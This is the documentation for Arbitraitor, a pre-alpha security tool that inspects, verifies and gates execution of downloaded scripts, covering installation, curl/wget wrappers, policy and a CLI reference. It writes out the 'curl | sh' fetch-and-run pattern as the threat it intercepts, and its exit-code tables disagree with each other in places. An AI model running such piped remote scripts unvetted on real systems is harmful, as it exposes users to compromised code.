Arbitraitor
Pre-alpha software. The CLI flags, configuration format, receipt schemas, and policy syntax are subject to breaking changes. Do not use in production.
Arbitraitor is a policy-enforced download, inspection, provenance verification, and execution gate for untrusted content. It replaces the curl | sh pattern with a controlled pipeline that makes trust decisions explicit and provides explainable findings.
Why Arbitraitor?
Commands like curl -fsSL https://example.com/install.sh | sh collapse four distinct operations into one:
- Retrieval — fetching bytes from a network location
- Trust — deciding whether those bytes are acceptable
- Inspection — analyzing content for threats
- Execution — running the retrieved code
When any of these fails, the failure is invisible. Arbitraitor separates these concerns and enforces explicit policy at each boundary.
Key principles
Inspect before execute. No artifact byte reaches a downstream consumer before scanning and policy evaluation complete. This is not a preference — it is a security invariant.
Evidence over scores. Arbitraitor produces findings with categorical detections and capability matrices, not a single risk score that obscures what was actually checked.
Provenance outranks detection. A cryptographically signed attestation from a trusted publisher weighs more than a static analysis finding. Digest pinning, minisign/cosign signatures, and TUF metadata are first-class concepts.
The pipeline
resolve policy
-> retrieve once
-> record transport metadata
-> buffer immutable bytes
-> identify content
-> hash and verify provenance
-> inspect reputation
-> scan content
-> recursively inspect contained payloads
-> calculate verdict
-> request approval when required
-> release or execute the exact inspected bytes
-> emit a signed receipt
Threat model
Arbitraitor assumes:
- The network is adversarial. HTTPS does not imply trust.
- Content publishers may be compromised. A popular download endpoint is an attractive attack surface.
- Human operators make mistakes. Arbitraitor enforces policy even when users intend to do the right thing.
Arbitraitor does not assume:
- That a successful download means the content is safe
- That shell scripts are harmless without network access
- That any single detector is authoritative
Assurance levels
Every operation runs at a defined assurance level:
| Level | Name | What it guarantees |
|---|---|---|
| 1 | Inspect | Retrieval, hashing, identification, scanning, reporting. No execution. |
| 2 | Mediated | Approved artifact in a deliberately constructed process context. Network denied by default. |
| 3 | Contained | Mediated plus verified platform isolation (filesystem, process, network). |
The verdict always states which level was in effect. A clean static scan with network access is labeled as Inspect, not as safe.
Architecture
Arbitraitor is a Rust monorepo organized into focused crates:
arbitraitor-cli CLI entry point (23 subcommands)
arbitraitor-core Config, metrics, health checks, state machine
arbitraitor-model Domain types, receipts, findings (newtypes)
arbitraitor-fetch HTTP retrieval with SSRF protection + truncation detection
arbitraitor-store Content-addressed storage (CAS)
arbitraitor-artifact Content classification (ELF, PE, Mach-O, shebang)
arbitraitor-analysis Detection pipeline coordinator
arbitraitor-shell Shell script analyzer (bash/dash)
arbitraitor-powershell PowerShell AST analyzer
arbitraitor-yarax YARA-X scanner
arbitraitor-archive Archive inspection (6 formats, 15 hazards)
arbitraitor-av Antivirus adapters (ClamAV, Defender)
arbitraitor-provenance Signature and attestation verification
arbitraitor-intel Threat intelligence feeds
arbitraitor-policy TOML policy engine
arbitraitor-receipt RFC 8785 canonicalized receipts
arbitraitor-exec Mediated execution (script + native + PowerShell)
arbitraitor-sandbox Process hardening
arbitraitor-mcp MCP server
arbitraitor-plugin-api Plugin trait hierarchy
arbitraitor-plugin-host Plugin runtime (Wasmtime + subprocess)
arbitraitor-wrapper curl/wget wrapper translators + per-shell init
arbitraitor-daemon Unix socket daemon with background queue
arbitraitor-package-manager Registry adapters (cargo, npm, uv, pnpm, yarn, bun)
arbitraitor-update Signed update manifest verification
arbitraitor-testkit Test infrastructure
Current status
Pre-alpha. The API, CLI, receipts, and policy schemas will change. 1103+ tests pass in the current suite. Do not use in production.
Next steps
- Getting Started — install and run your first inspection
- CLI Reference — full command documentation
- Architecture — how the pieces fit together
- Plugins — extending Arbitraitor
Getting Started
Pre-alpha software. Commands, flags, and output formats may change between versions. Examples in this guide reflect the current development state, not a stable release.
This guide walks you through installing Arbitraitor and running your first inspection and execution. You will:
- Install Arbitraitor from source
- Inspect a script without executing it
- Run a script with human approval
- Set up wrappers to intercept
curl | sh
Each step takes a few minutes. By the end, you will understand how
Arbitraitor replaces the curl | sh pattern with a controlled,
inspectable pipeline.
What is Arbitraitor?
Arbitraitor is a security boundary for untrusted content. It separates retrieval, trust, inspection, and execution into a controlled pipeline:
download → store → identify → scan → evaluate policy → verdict → execute
Instead of piping a script directly into a shell, Arbitraitor fetches the content, inspects it, produces explainable findings, and only executes the exact inspected bytes — after you approve.
See the Introduction for the full design rationale.
Next steps
Start with Installation, then try inspecting a script.
Installation
Arbitraitor offers two installation methods. Nightly binaries are the fastest option; building from source is available for development.
Nightly binaries (recommended)
Pre-built binaries are published every night from the latest main
commit. They are available for Linux on x86_64 and aarch64, and for
macOS on aarch64 (Apple Silicon).
Download
Fetch the latest binary for your platform from the nightly release page:
| Platform | File |
|---|---|
| Linux x86_64 | arbitraitor-x86_64-unknown-linux-gnu.tar.gz |
| Linux aarch64 | arbitraitor-aarch64-unknown-linux-gnu.tar.gz |
| macOS aarch64 (Apple Silicon) | arbitraitor-aarch64-apple-darwin.tar.gz |
Install
# Download and extract
curl -fsSL https://github.com/arbsec/arbitraitor/releases/download/nightly/arbitraitor-x86_64-unknown-linux-gnu.tar.gz | tar xz
# Move to a directory on your PATH
sudo mv arbitraitor /usr/local/bin/
# Verify
arbitraitor --version
On macOS, substitute the file name with arbitraitor-aarch64-apple-darwin.tar.gz.
Warning: Pre-alpha. Nightly binaries are built from unreleased code. The CLI, config format, and schemas change between commits. Do not use in production.
Build from source
Building from source is required for development or if you need a platform without pre-built binaries (e.g. Windows).
Prerequisites
Rust 1.96+ (Rust 2024 edition). Install via rustup:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
You also need pkg-config and OpenSSL development headers.
Ubuntu/Debian:
sudo apt install pkg-config libssl-dev
macOS:
brew install pkg-config openssl@3
mise (optional, recommended)
The project uses mise to pin the exact Rust toolchain and supporting tools. If you have mise installed:
mise install
This installs the Rust version pinned in .mise.toml, plus lefthook
(git hooks), cocogitto (conventional commits), and rumdl (markdown
linter).
Build and install
git clone https://github.com/arbsec/arbitraitor.git
cd arbitraitor
cargo install --path crates/arbitraitor-cli
This compiles the CLI and all its dependencies. Expect 5–15 minutes depending on your machine and whether dependencies are cached.
The binary installs to ~/.cargo/bin/arbitraitor.
Verify the installation
arbitraitor --version
arbitraitor --help
You should see the version string and the list of subcommands:
Commands:
inspect Retrieve and analyze an artifact without executing it
run Execute the full pipeline with approval flow
scan Scan a local file or stdin for threats
explain Explain a verdict from a receipt file
store Manage content-addressed storage
policy Validate a policy file
doctor Check scanner and integration health
version Show version and build provenance
daemon Unix socket daemon with background queue
unpack Unpack an archive to a directory for inspection
intel Manage local threat-intelligence feeds
status Show system health and configured detectors
wrappers Manage curl/wget wrapper shims
mcp Start MCP server over stdio (JSON-RPC 2.0)
Troubleshooting
Build fails with OpenSSL errors:
Ensure pkg-config and libssl-dev (or openssl@3 on macOS) are
installed. On macOS, you may need to set OPENSSL_DIR:
export OPENSSL_DIR=$(brew --prefix openssl@3)
arbitraitor command not found:
Ensure the binary is on your PATH:
echo 'export PATH="$HOME/.cargo/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
Out of memory during build: The workspace is large. Try building with reduced parallelism:
cargo install --path crates/arbitraitor-cli -j 2
First Inspection
The inspect command retrieves an artifact, runs it through the detection pipeline, and reports findings without executing anything:
arbitraitor inspect https://example.com/install.sh
Reading the output
Artifact: sha256:a1b2c3d4e5f6...
Source: https://example.com/install.sh
Type: application/x-shellscript
Size: 4.2 KB
Detectors: shell ✅ archive ✅
Findings:
network:curl high Downloads content via curl
network:wget high Downloads content via wget
fs:write:/tmp medium Writes to /tmp directory
exec:subprocess high Spawns subprocesses
Verdict: WARN (inspect)
Elevated findings require human review before execution.
Run 'arbitraitor run <URL>' to request approval.
| Line | What it tells you |
|---|---|
| Artifact | The SHA-256 of the exact bytes that were inspected. This hash is immutable — execution uses these exact bytes. |
| Source | The final URL after redirects. May differ from what you typed if the server redirected. |
| Type | Detected content type. Determines which detectors run (shell scripts get shell analysis, archives get archive inspection). |
| Detectors | Which detectors ran and their status. A green check means the detector completed; a red cross means it failed (produces an Incomplete verdict). |
| Findings | Individual detections. Each has an ID, severity, and description. The ID format is category:detail (e.g., network:curl = network access via curl). |
| Verdict | The policy engine’s decision. Always includes the assurance level in parentheses. |
Understanding the verdict
The policy engine produces one of five verdicts:
| Verdict | Meaning |
|---|---|
| Pass | No findings or only informational findings. Safe to proceed. |
| Warn | Suspicious patterns detected. Proceed with caution. |
| Prompt | Findings require human approval before execution. |
| Block | Confirmed malicious content. Execution refused. |
| Incomplete | A detector failed. Treat as untrusted until re-scanned. |
The verdict always states which assurance level was in effect: PASS (inspect), WARN (inspect), etc. A clean scan at the Inspect level means the content was analyzed but not executed — it is not a guarantee of safety.
Provenance verification
If the publisher provides a signature, you can verify it during inspection:
arbitraitor inspect https://example.com/install.sh \
--minisign-key RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QUVlq39r+nX7p
Arbitraitor fetches the artifact once, verifies the signature against the public key, and only proceeds to detection if the signature is valid.
Explainability
Add --explain to get a human-readable explanation of each finding:
arbitraitor inspect https://example.com/install.sh --explain
Use --explain --format shellcheck for output compatible with tools that consume ShellCheck JSON.
What you just did
You ran a complete security inspection on a remote artifact — without executing it. Arbitraitor:
- Fetched the content once and buffered it immutably
- Identified the content type
- Ran detectors (shell analysis, archive inspection, etc.)
- Evaluated findings against policy
- Produced an explainable verdict
No bytes reached a shell. To actually execute the script (with sandboxing and approval), continue to First Run with Approval.
First Run with Approval
The run command executes the full pipeline: fetch → inspect → approve → execute.
arbitraitor run https://example.com/install.sh
When the verdict requires approval, you’ll see:
Fetching https://example.com/install.sh...
→ sha256:a1b2c3d4e5f6...
→ 4.2 KB, application/x-shellscript
Detecting threats...
Shell analysis: 2 suspicious patterns
Verdict: PROMPT (2 suspicious findings)
Plan: execute via /bin/bash with network isolated
Type this code to approve: a1b2c3d4e5f6
> █
Type the plan digest prefix to approve. The script then runs in a sandboxed bash interpreter with network isolation, resource limits, and output capping.
Exit codes
Arbitraitor uses its own exit codes to report the verdict — these are not the exit code of the executed script.
| Code | Meaning |
|---|---|
| 0 | Pass — artifact passed all policy checks |
| 1 | Warn — artifact has findings, human review recommended |
| 2 | Incomplete — analysis could not complete, blocking by default |
| 3 | Block — artifact blocked by policy |
| 4 | Error — fatal error (network, I/O, configuration) |
| 5 | Approval required in non-interactive mode |
Non-interactive mode
In CI or automated contexts where no human can approve:
arbitraitor run https://example.com/install.sh --non-interactive
If the verdict is Prompt or Block, the command exits with code 21 (Prompt) immediately — it never silently approves.
Native binary execution
Arbitraitor auto-detects whether an artifact is a native binary (ELF, Mach-O, PE) or a script from the downloaded bytes. When a native binary is detected:
- Interactive mode: you’ll be prompted to confirm native execution before proceeding.
- Non-interactive mode: native execution is blocked unless you pass
--nativeto pre-approve it.
# Auto-detected: native binary → prompts for confirmation
arbitraitor run https://example.com/binary
# Pre-approve native execution (skips the prompt)
arbitraitor run https://example.com/binary --native
Wrappers
Stability: Unstable. Verified against commit
7cb6906. The supported-shell list, flags, and default shim directory may change before 1.0.
Arbitraitor installs shell shims that intercept curl and wget,
routing every invocation through the inspection pipeline before bytes
reach the downstream consumer:
# 1. Install curl/wget shims
arbitraitor wrappers install
# 2. Wire the shim directory onto PATH (one-time)
arbitraitor wrappers init --install
# 3. (Optional) Verify the setup
arbitraitor wrappers status
After that, curl https://example.com/file | sh is transparently
intercepted and inspected before the bytes reach the shell. A Block
verdict emits nothing to stdout and exits non-zero — bash receives input
only when the artifact passed all configured checks.
Shell integration
wrappers init is the primary command for wiring the shim directory onto
PATH. Two modes:
# Print mode — emit snippet to stdout, eval inline or hand-paste
eval "$(arbitraitor wrappers init)"
# Auto-install mode — write a marked, idempotent block to your rcfile
# (creates ~/.bashrc.arbitraitor.bak before editing)
arbitraitor wrappers init --install
# Detect which shell you're running and which rcfile is targeted
arbitraitor wrappers init --detect-shell
# Specify a shell explicitly (default: auto-detected from $SHELL)
arbitraitor wrappers init zsh
arbitraitor wrappers init fish --install
Supported shells: bash, zsh, sh, fish, nu (Nushell), xonsh,
powershell, elvish, posix, tcsh, oil (also osh / ysh).
To remove the PATH block from your rcfile:
arbitraitor wrappers init --uninstall
The block is wrapped in marker lines (# >>> arbitraitor wrappers >>>
/ # <<< arbitraitor wrappers <<<) so re-running --install replaces
in place rather than appending. Exception: fish, nu, and powershell
use a dedicated file (conf.d/arbitraitor.fish, etc.) rather than a
marked block in an existing rcfile. The in-shell snippet is also
idempotent: re-evaling it does not duplicate PATH entries.
See the wrappers CLI reference for the full flag
surface, the default shim directory rationale, and the deprecated
hook init migration path.
Default shim directory
Default: ~/.arbitraitor/shims
This directory is intentionally not on any operating system’s default
PATH. A namespaced directory avoids silent replacement of system
binaries (spec §28.7 invariant) and avoids collisions with user-owned
scripts of the same name in ~/.local/bin.
Override with --shim-dir:
arbitraitor wrappers install --shim-dir ~/.local/bin
arbitraitor wrappers init --install --shim-dir ~/.local/bin
~/.local/bin is on default PATH on Debian (bash ≥ 4.3-15, 2016),
Ubuntu (≥ 16.04), and Fedora (bash ≥ 4.2.10-3, 2012). It is not on
default PATH on Arch, RHEL, NixOS, Alpine, or inside minimal containers.
The rcfile snippet written by wrappers init --install puts any chosen
shim directory on PATH regardless of distro defaults.
Health checks
Check the status of Arbitraitor’s subsystems:
# Human-readable status
arbitraitor status
# JSON output for monitoring
arbitraitor status --json
This reports CAS store health, detector availability, and version information.
Configuration
Arbitraitor reads configuration from ~/.arbitraitor/config.toml:
[fetch]
timeout = 30
max_redirects = 10
[policy]
default_action = "prompt"
non_interactive_prompt_action = "block"
[detectors]
shell_analysis = true
powershell_analysis = true
max_archive_depth = 10
Secrets can be referenced from environment variables or files without hardcoding:
[intel]
urlhaus_key = "secret://env/URLHAUS_API_KEY"
See the Configuration reference for all options.
Next steps
- CLI Reference — all commands and flags
- Architecture — what happens under the hood
- Security Model — invariants, threat model, sandbox
- Plugins — extend Arbitraitor with custom detectors
Scanning Local Files
Scan a local file or piped stdin content through the full detection pipeline:
arbitraitor scan ./suspicious.sh
Exit codes follow the spec §29 convention:
| Code | Meaning |
|---|---|
| 0 | Passed |
| 10 | Warning verdict |
| 21 | Prompt required in non-interactive mode |
| 30 | Blocked by policy |
| 33 | Required detector unavailable |
| 34 | Analysis incomplete |
Scanning stdin
curl -s https://example.com/script.sh | arbitraitor scan --stdin
Using YARA-X rules
arbitraitor scan ./suspicious.sh --rules /path/to/yara/rules
Explainability reports
arbitraitor scan ./suspicious.sh --explain --format text
arbitraitor scan ./suspicious.sh --explain --format shellcheck
Stability: Unstable. Verified against commit
<sha>. Flags and output may change before 1.0.
Explaining Verdicts
If you saved a receipt during inspection, you can explain the verdict retrospectively:
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
arbitraitor explain receipt.json
Output shows the artifact SHA-256, verdict, all findings with severity, and retrieval metadata (URL, final URL). All untrusted content from the receipt is sanitized per ADR-0016.
Stability: Unstable. Verified against commit
<sha>.
Managing Storage
Arbitraitor stores all inspected artifacts in a content-addressed store (CAS) keyed by SHA-256.
List stored artifacts
arbitraitor store list
Prints each artifact’s digest prefix, byte size, and lock status.
Inspect a specific artifact
arbitraitor store inspect <sha256>
Prints the full metadata entry as JSON, including source URL, content type, retention mode, and lock state.
Garbage collection
Remove old or expired artifacts from the store:
# Collect all unlocked, non-forensic artifacts
arbitraitor store gc
# Only collect artifacts older than 30 days
arbitraitor store gc --max-age-days 30
GC preserves:
- Locked artifacts currently in use by an active operation.
- Forensic artifacts explicitly marked for indefinite retention.
Stability: Unstable. Verified against commit
<sha>.
Managing Rule Packs
List and validate YARA-X rule packs used for detection:
arbitraitor rules list
Output shows each pack’s source, namespace, version, authentication status, and SHA-256 digest prefix.
List with additional rule directories
arbitraitor rules --rules-dir /path/to/custom/rules list
Validate a rule file
Compile-check a YARA-X rule file without loading it into the pipeline:
arbitraitor rules validate /path/to/rules.yar
Stability: Unstable. Verified against commit
<sha>.
Verifying Update Manifests
Verify a signed update manifest (spec §34) using a minisign public key:
arbitraitor update verify manifest.json --key pubkey.pub
By default, the signature is loaded from manifest.minisig (minisign sidecar convention). To use a custom signature path:
arbitraitor update verify manifest.json --key pubkey.pub --signature custom.sig
Output shows the verified channel, manifest version, publisher, timestamps, and each target file with its declared SHA-256 and size.
Stability: Unstable. Verified against commit
<sha>.
Validating policies
Arbitraitor uses TOML policy files to define rules for verdict computation. Before running artifacts, verify your policy is well-formed.
Validate a policy file
arbitraitor policy my-policy.toml
Output shows the policy version, rule count, and digest:
Policy valid
Version: 1
Rules: 5
Digest: sha256:abc123...
What happens on invalid policy
If the policy TOML is malformed or contains unknown fields, the command exits with a non-zero code and prints the validation error.
See the CLI reference for full flag details.
Checking system health
The doctor command runs system health diagnostics. It prints a human-readable report by default and can emit JSON for automation.
Run doctor
arbitraitor doctor
With custom paths
arbitraitor doctor --cas-dir /custom/store --rules /custom/rules
JSON output
arbitraitor doctor --json
Each check reports pass, fail, warn, or skipped.
What it checks
- Store: CAS health, writability, object counts, and disk usage
- Detectors and YARA-X rules: Loaded versions and rule parse status
- Policy: Validity of configured standalone policy files
- AV and scanners: ClamAV/Defender availability and signature freshness when configured
- Feeds and updates: Feed signature files and update trust-root key readability
- Sandbox: Platform sandbox adapter availability
- Plugins: Manifest readability and protocol compatibility
- Wrappers: Curl/wget semantic coverage, shim PATH order, and original-tool resolution posture
- Environment: Clock plausibility and proxy URL-scheme checks
- Receipts: Receipt signing key readability when configured
See the CLI reference for full flag details.
Managing plugins
Arbitraitor supports a plugin system with subprocess and Wasmtime Component Model runtimes. The plugin command manages the plugin registry.
List registered plugins
arbitraitor plugin list
Discover plugins
Discovery scans default plugin directories and registers new plugins:
arbitraitor plugin discover
Inspect a specific plugin
arbitraitor plugin info <id>
Outputs the full plugin manifest as JSON, including identity, version, trust class, and plugin type.
Remove a plugin
arbitraitor plugin remove <id>
See the CLI reference for full details.
Decoupled approval and execution
For workflows where inspection and execution happen at different times, Arbitraitor provides a decoupled approve + execute flow.
Step 1: Inspect with receipt
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
Step 2: Approve
arbitraitor approve receipt.json
This displays the artifact SHA-256, verdict, and findings, then prompts for approval. If approved, writes a time-limited approval file (5-minute expiry) to receipt.approval.json.
Step 3: Execute
arbitraitor execute receipt.approval.json
Reads the artifact from CAS by SHA-256 and executes it via sandboxed bash. Use --network to allow network access during execution.
Only ArtifactType::ShellScript(Posix | Bash) artifacts are executable via this path; all other classified types (HTML, JSON, XML, archives, Zsh, Unknown, etc.) fail closed even when the approval file is otherwise valid. See ADR-0036 for the rationale.
# With network access:
arbitraitor execute receipt.approval.json --network
Approval expiry
Approval files expire 5 minutes after creation. If the approval has expired, execute will refuse to run and exit with an error.
See the CLI reference for full details.
Comparison with Other Tools
How Arbitraitor differs
Arbitraitor is the only tool that combines content inspection + provenance verification + policy enforcement + execution gating + receipt trail in a single system. Other tools solve pieces of this pipeline but none provide the full chain from “downloaded something” to “executed it with known, approved risk.”
Direct alternatives
These tools target the same “download → inspect → execute” problem space.
| Tool | What it does | License | Key difference |
|---|---|---|---|
| Arbitraitor | Full pipeline: download → inspect → verify provenance → policy gate → sandboxed execution → receipt | MIT/Apache-2.0 | Only tool with all six stages integrated |
| Tirith | Terminal security gate that intercepts shell commands in real-time, detects 200+ threat categories | AGPL-3.0 | Guards the terminal layer — inspects the command, not the artifact content. Complementary. |
| safesh | Drop-in replacement for bash in curl | bash — buffers script, runs static analysis, prompts | MIT | Pipe-intercept level only. Simpler scope, easier adoption. |
| SafeInstall | Inspects installer scripts, queries URLhaus/VirusTotal, scores risk | MIT | Rust-based, integrated threat intel. Lacks provenance verification and execution sandbox. |
| sfetch | Secure downloader with signature verification and trust scoring | Apache-2.0 | Focuses on acquisition integrity, not content inspection. Pairs with shellsentry. |
| lgtmit | Uses Claude AI to review scripts before execution | MIT | LLM-powered review — requires Claude CLI. Different inspection approach. |
Feature comparison
| Feature | Arbitraitor | Tirith | safesh | ShellCheck | cosign | Firejail | URLhaus |
|---|---|---|---|---|---|---|---|
| Download interception | Yes | No | Yes | No | No | No | No |
| Content inspection | Yes | No | Yes | Yes (shell) | No | No | No |
| Provenance verification | Yes | No | No | No | Yes | No | No |
| Human approval gate | Yes | No | Yes | No | No | No | No |
| Sandboxed execution | Yes | No | No | No | No | Yes | No |
| Audit receipts | Yes | No | No | No | No | No | No |
| Policy engine | Yes | No | No | No | No | No | No |
| Plugin system | Yes | No | No | No | No | No | No |
| MCP integration | Yes | No | No | No | No | No | No |
Complementary tools
Arbitraitor is designed to integrate with existing security tools, not replace them:
Static analysis
| Tool | Scope | Integration |
|---|---|---|
| ShellCheck | Shell script linting (280+ checks) | Arbitraitor produces ShellCheck-compatible JSON output via --explain --format shellcheck |
| Semgrep | Multi-language static analysis (3000+ rules) | Can run as a detector plugin |
| Bandit | Python security linter | Python-specific AST analysis |
Provenance
| Tool | Scope | Integration |
|---|---|---|
| cosign | Container/image signing (Sigstore) | Arbitraitor verifies cosign bundles as a provenance signal |
| TUF | Secure update framework | Supported as a trust root per ADR-0012 |
| in-toto | Supply chain attestation | Attestation format compatible with receipt system |
Runtime sandboxing
| Tool | Approach | Integration |
|---|---|---|
| Bubblewrap | Unprivileged namespace sandbox | Can wrap Arbitraitor’s executed artifacts |
| gVisor | Userspace kernel | Stronger isolation — run Arbitraitor inside gVisor container |
| Firecracker | MicroVM hypervisor | VM-level boundary for highest-trust workloads |
Threat intelligence
| Tool | Scope | Integration |
|---|---|---|
| URLhaus | 300K+ malicious URLs | Built-in adapter — queried before inspection |
| VirusTotal | 70+ AV engines | API integration as intelligence plugin |
| urlscan.io | URL behavioral analysis | Submit URLs for sandboxed browsing analysis |
CLI Reference
The arbitraitor CLI provides commands for inspection, execution, wrapper management, storage, policy validation, and system health.
Commands
| Command | Description |
|---|---|
arbitraitor inspect | Retrieve and analyze an artifact without executing it |
arbitraitor fetch | Fetch an artifact with provenance verification (spec §28.2) |
arbitraitor wrap | Wrap an existing tool invocation through Arbitraitor (spec §28.1) |
arbitraitor run | Execute the full pipeline with approval flow |
arbitraitor scan | Scan a local file or stdin without retrieval |
arbitraitor explain | Explain a verdict from a receipt file |
arbitraitor daemon | Unix socket daemon with background queue (start/stop/status) |
arbitraitor unpack | Unpack an archive to a directory for inspection |
arbitraitor intel | Manage local threat-intelligence feeds (update) |
arbitraitor status | Show system health and configured detectors |
arbitraitor wrappers | Install curl/wget shims + render shell-integration snippet |
arbitraitor env | Hidden alias of wrappers init (shell env setup) |
arbitraitor store | Manage CAS artifacts (list, inspect, gc) |
arbitraitor policy | Validate a policy TOML file |
arbitraitor doctor | Run system health diagnostics |
arbitraitor rules | Manage YARA-X rule packs (list, validate) |
arbitraitor update | Verify signed update manifests |
arbitraitor plugin | Manage plugin registry and local plugin lifecycle |
arbitraitor hook | Deprecated bash DEBUG trap (prefer wrappers init --install) |
arbitraitor shim | Manage npm/curl/wget/brew compatibility shims |
arbitraitor graph | Render payload containment tree for archives |
arbitraitor approve | Approve execution from a receipt file |
arbitraitor execute | Execute an artifact from CAS using an approval file |
arbitraitor report | Report user feedback on findings (e.g. false positive, spec §21.7) |
arbitraitor allow | Record a scoped allow exception for an artifact digest (spec §21.7) |
arbitraitor pm | Run a package manager through advisory scan (npm) |
arbitraitor mcp | Start MCP JSON-RPC 2.0 server over stdio |
arbitraitor version | Print version, license, and repository |
arbitraitor intel update
Updates local threat-intelligence feed snapshots on demand.
| Flag | Description |
|---|---|
--urlhaus | Ingest the URLhaus malicious-URL feed |
--urlhaus-url <URL> | Override the URLhaus CSV or JSON endpoint |
--ossf-malicious-packages | Ingest OpenSSF malicious-packages MAL- IDs from an OSV querybatch response |
--ossf-malicious-packages-url <URL> | Override the OSV querybatch endpoint or use a signed mirror response |
--intel-store <PATH> | Override the local intel store path |
Global flags
These flags apply to all commands:
| Flag | Description |
|---|---|
--config <PATH> | Path to TOML configuration file |
--verbose | Enable verbose output (repeat for more detail: -v, -vv) |
Note: Per-command output format flags (e.g.,
--format,--json) are available on specific subcommands, not as global flags.
Exit codes
Arbitraitor uses the stable exit codes defined in spec §29. Each code
encodes a distinct policy decision or operational condition so CI
pipelines, shell scripts, and process supervisors can react precisely.
Machine consumers should prefer --json or --sarif output for full
evidence; exit codes are a coarse-grained summary.
| Code | Meaning |
|---|---|
| 0 | Pass — artifact passed all required checks and the requested release completed |
| 1 | General operational error (no more specific code applies) |
| 2 | Invalid arguments or configuration (semantic invalidity after parsing) |
| 10 | Warning verdict, no release requested |
| 20 | Interactive approval declined by the user |
| 21 | Prompt required in non-interactive mode |
| 30 | Blocked by policy (generic) |
| 31 | Confirmed malicious indicator (signed feed or Confidence::Confirmed finding) |
| 32 | Integrity or signature failure (digest mismatch, bad signature, missing trust root) |
| 33 | Required detector unavailable or stale |
| 34 | Analysis incomplete due to resource limit (time, memory, depth, byte budget) |
| 40 | Network retrieval failure |
| 41 | Redirect or transport policy violation (cross-origin, HTTPS→HTTP, SSRF) |
| 42 | Content type or size policy violation |
| 50 | Execution failed after approval (non-zero child exit, signal, sandbox violation) |
| 60 | Internal integrity invariant failure (e.g. running as root per ADR-0009) |
These numeric values are stable for the lifetime of the project. New codes may be added (with a corresponding spec change); existing codes are not renumbered.
Inspect command
arbitraitor inspect <URL or file path> [flags]
Flags
| Flag | Description |
|---|---|
--receipt <PATH> | Write a JSON receipt to this path |
--cas-dir <DIR> | Override the CAS directory |
--sha256 <HEX> | Expected SHA-256 digest for provenance verification |
--rules <DIR> | Path to a directory of YARA-X rule packs |
--minisign-sig <PATH> | minisign signature file (repeatable) |
--minisign-key <KEY> | minisign public key (repeatable) |
--cosign-bundle <PATH> | cosign bundle file (repeatable) |
--cosign-identity <IDENTITY> | cosign identity (repeatable) |
--cosign-issuer <ISSUER> | cosign certificate issuer (repeatable) |
--explain | Show an explainability report for detected findings |
--format <FORMAT> | Output format for explainability: text, shellcheck (implies --explain) |
--sign-receipt <METHOD> | Sign the receipt with the specified method (spec §31.3): minisign, cosign, enterprisekey, tpm |
# Basic inspection
arbitraitor inspect https://example.com/install.sh
# With receipt
arbitraitor inspect https://example.com/install.sh --receipt receipt.json
# With provenance verification
arbitraitor inspect https://example.com/install.sh --sha256 abc123... --minisign-key pubkey
# Inspect a local file
arbitraitor inspect ./downloads/script.sh
Fetch command
arbitraitor fetch <URL> [flags]
Fetches an artifact from a URL with provenance verification, content-addressed
storage, and optional receipt emission. When invoked via a wrapper symlink
(curl/wget), the --tool flag is set automatically and passthrough
arguments are captured after --.
Flags
| Flag | Description |
|---|---|
-o, --output <PATH> | Write the fetched artifact to this path instead of stdout |
--sha256 <HEX> | Expected SHA-256 digest for provenance verification |
--signature <PATH> | minisign signature file (repeatable; requires key via config) |
--cosign-bundle <PATH> | cosign bundle file (repeatable) |
--identity <IDENTITY> | cosign identity (repeatable) |
--issuer <ISSUER> | cosign certificate issuer (repeatable) |
--expected-type <TYPE> | Expected artifact type (e.g., shell, elf, archive) |
--expected-content-type <TYPE> | Expected content type (e.g., application/x-sh) |
--max-bytes <BYTES> | Maximum bytes to fetch |
--header <HEADER> | HTTP header to send (repeatable, format: Key: Value) |
--policy <PATH> | Policy file path (CLI override; requires --audit-override) |
--audit-override | Record and allow the --policy CLI override in the receipt audit trail |
--recursive | Recursively fetch and inspect referenced payloads |
--sandbox | Sandbox execution after fetch |
--non-interactive | Skip interactive approval prompts |
--json | Output results as JSON |
--sarif | Output results as SARIF |
--receipt <PATH> | Write a JSON receipt to this path |
--no-cache | Skip cache and force a fresh fetch |
Examples
# Basic fetch
arbitraitor fetch https://example.com/install.sh
# Fetch with output file and SHA-256 pinning
arbitraitor fetch --output install.sh --sha256 abc123... https://example.com/install.sh
# Fetch with cosign provenance verification
arbitraitor fetch \
--cosign-bundle artifact.bundle \
--identity builder@example.test \
--issuer https://issuer.example.test \
https://example.com/artifact
# Fetch with receipt output
arbitraitor fetch --receipt receipt.json https://example.com/install.sh
# Non-interactive JSON output
arbitraitor fetch --non-interactive --json https://example.com/install.sh
Wrap command
arbitraitor wrap <TOOL> -- [tool arguments...]
Wraps an existing tool invocation as a first-class top-level command. The wrapper parses the original tool and arguments, creates a normalized operation plan, and submits useful artifacts to Arbitraitor core. The wrapper does not decide the final verdict and does not release content directly.
curl and wget invocations delegate to the same guarded download pipeline
used by PATH shims. bash inspects a local script path when one is present;
other tools currently emit a warning and release nothing.
Multi-URL handling (spec §39.9)
When curl or wget is invoked with multiple URLs, each URL is fetched and
inspected independently — producing separate artifact identities (SHA-256)
and verdicts. Responses are never concatenated into one executable stream.
A failure on one URL does not prevent inspection of the remaining URLs, but
the command exits non-zero if any verdict is not Pass.
A single --output (-o) with multiple URLs is rejected because it would
concatenate responses. Use --remote-name (-O) for per-URL file output,
or fetch URLs in separate invocations.
Examples
# Single URL
arbitraitor wrap curl -- -fsSL https://example.com/install.sh
arbitraitor wrap wget -- -qO- https://example.com/install.sh
# Multiple URLs — each inspected independently (spec §39.9)
arbitraitor wrap curl -- -O https://example.com/a.sh https://example.com/b.sh
arbitraitor wrap wget -- https://example.com/a https://example.com/b
# Non-downloader tools
arbitraitor wrap bash -- ./approved-script.sh
arbitraitor wrap brew -- install example
Run command
arbitraitor run <URL or file path> [flags]
Flags
| Flag | Description |
|---|---|
--native | Pre-approve native binary execution without interactive prompt |
--non-interactive | Skip interactive approval prompts (block if approval needed) |
--network | Allow network access during execution (default: isolated) |
--policy <PATH> | Policy file path |
--sign-receipt <METHOD> | Sign the receipt with the specified method (spec §31.3): minisign, cosign, enterprisekey, tpm |
Examples
# Interactive approval
arbitraitor run https://example.com/install.sh
# Non-interactive (block if approval needed)
arbitraitor run https://example.com/install.sh --non-interactive
# With native binary and network access
arbitraitor run https://example.com/binary --native --network
# With an audited CLI policy override
